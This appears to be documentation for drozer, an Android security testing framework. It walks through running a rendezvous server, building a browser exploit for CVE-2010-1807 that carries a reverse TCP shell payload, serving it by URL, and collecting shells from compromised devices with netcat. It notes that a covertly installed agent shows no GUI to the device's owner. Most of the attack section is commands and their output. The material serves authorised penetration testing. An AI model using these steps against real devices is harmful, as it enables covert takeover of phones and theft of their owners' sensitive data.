drozer offers features to help deploy a drozer agent onto a remote device, through means of exploiting applications on the device or performing attacks that involve a degree of social engineering. drozer provides a framework for sharing of exploits and reuse of high quality payloads. It provides modules that allow the generationof shell code for use in exploits in order to help gain access to sensitive data on the remotely compromised device.
Up until now you’ve probably been running drozer in “direct mode” where you run the agent’s embedded server and connect directly to it. This is handy for devices connected via adb, or on your local Wi-Fi network. drozer supports another mode of operation: “infrastructure mode”. In infrastructure mode, you run a drozer server either on your network or on the Internet that provides a rendezvous point for your consoles and agents, and routes sessions between them. Since infrastructure mode establishes an outbound connection from the device, it is also useful for situations where you do not know the IP address of the device, or you need to traverse NAT or firewalls.
To run a drozer server, you need a machine with drozer installed that is accessible by both the mobile device and the PC running your console. Then simply execute:
$ drozer server start
To cause your agent to connect to the server, you must add its details as an ‘Endpoint’. On the device:
You are now ready to connect your console to the server. First, you will need to check which, if any, devices are connected:
$ drozer console devices --server myserver:31415 List of Bound Devices Device ID Manufacturer Model Software 67dcdbacd1ea6b60 unknown sdk 4.1.2 67dcdbacd1ea6b61 unknown sdk 4.2.0
Where “myserver” is the hostname or IP address of your drozer server. This shows that we have two devices connected, running different version of Jellybean. You can specify which to use by giving its Device ID when starting the console:
$ drozer console connect 67dcdbacd1ea6b60 --server myserver:31415 ... dz>
The drozer server is crucial for exploitation because it acts as many servers in one:
drozer exploit templates and shellcode are special types of drozer modules. They are combined by the
drozer exploit command to create a full exploit:
$ drozer exploit build EXPLOIT SHELLCODE [OPTIONS]
The available exploits can be listed by running:
$ drozer exploit list exploit.remote.webkit.nanparse Webkit Invalid NaN Parsing (CVE-2010-1807) ...
Likewise, to see available shellcode:
$ drozer shellcode list shell.reverse_tcp.armeabi Establish a reverse TCP Shell (ARMEABI) weasel.reverse_tcp.armeabi weasel through a reverse TCP Shell (ARMEABI)
Putting this together, we can build an exploit for CVE-2010-1807, that uses weasel (MWR’s advanced payload) to gain a foothold on an old Android 2.1 device:
$ drozer exploit build exploit.remote.webkit.nanparse –-payload weasel.reverse_tcp.armeabi --server 10.0.2.2:31415 --push-server 127.0.0.1:31415 --resource /home.html Uploading weasel to /weasel and W... [ OK ] Uploading the Agent to /agent.apk and A... [ OK ] Uploading Exploit to /home.html... [ OK ] Done. The exploit is available at: http://10.0.2.2:31415/home.html
Point a vulnerable device at the exploit address in its web browser, and shortly afterwards you will have a connection back from the exploit:
$ drozer console devices List of Bound Devices Device ID Manufacturer Model Software 9265590285227392218 unknown unknown unknown
The abnormally long Device ID, and ‘unknown’ in all other fields, suggests that this is a lightweight agent, and we haven’t successfully installed a full drozer agent.
Previously, we saw how weasel was able to deploy a lightweight agent onto a vulnerable device. weasel is drozer’s advanced payload to automatically gain maximum leverage on a compromised device. Here’s what happens:
Depending on what weasel was able to do to escalate privileges, you will receive a connection from either a full agent, a limited agent or just a normal reverse shell.
If weasel was able to install a package, you will receive a connection from a full drozer agent. This is identical to the agent that you will have been using so far, but does not display a GUI to the device’s owner.
If weasel was not able to install a package, it may still be able to run a version of the drozer agent. This is the full agent, but does not have access to any ‘Application Context’. This prevents it from interacting directly with parts of the runtime, such as the Package Manager so you cannot interact with other packages or their IPC endpoints. If you are given a limited agent, drozer will automatically hide the modules it is unable to run from the ‘list’ command.
If drozer was not able to execute even a limited agent, it will provide a normal Linux shell to the drozer server. You can collect these shells by connecting to the server with netcat, and sending a single line that says ‘COLLECT’:
$ nc myserver 31415 COLLECT drozer Shell Server ------------------- There is 1 shell waiting... 1) 127.0.0.1:54214 Shell: 1 /system/bin/id uid=10058(u0_a58) gid=10058(u0_a58) groups=1028(sdcard_r),3003(inet)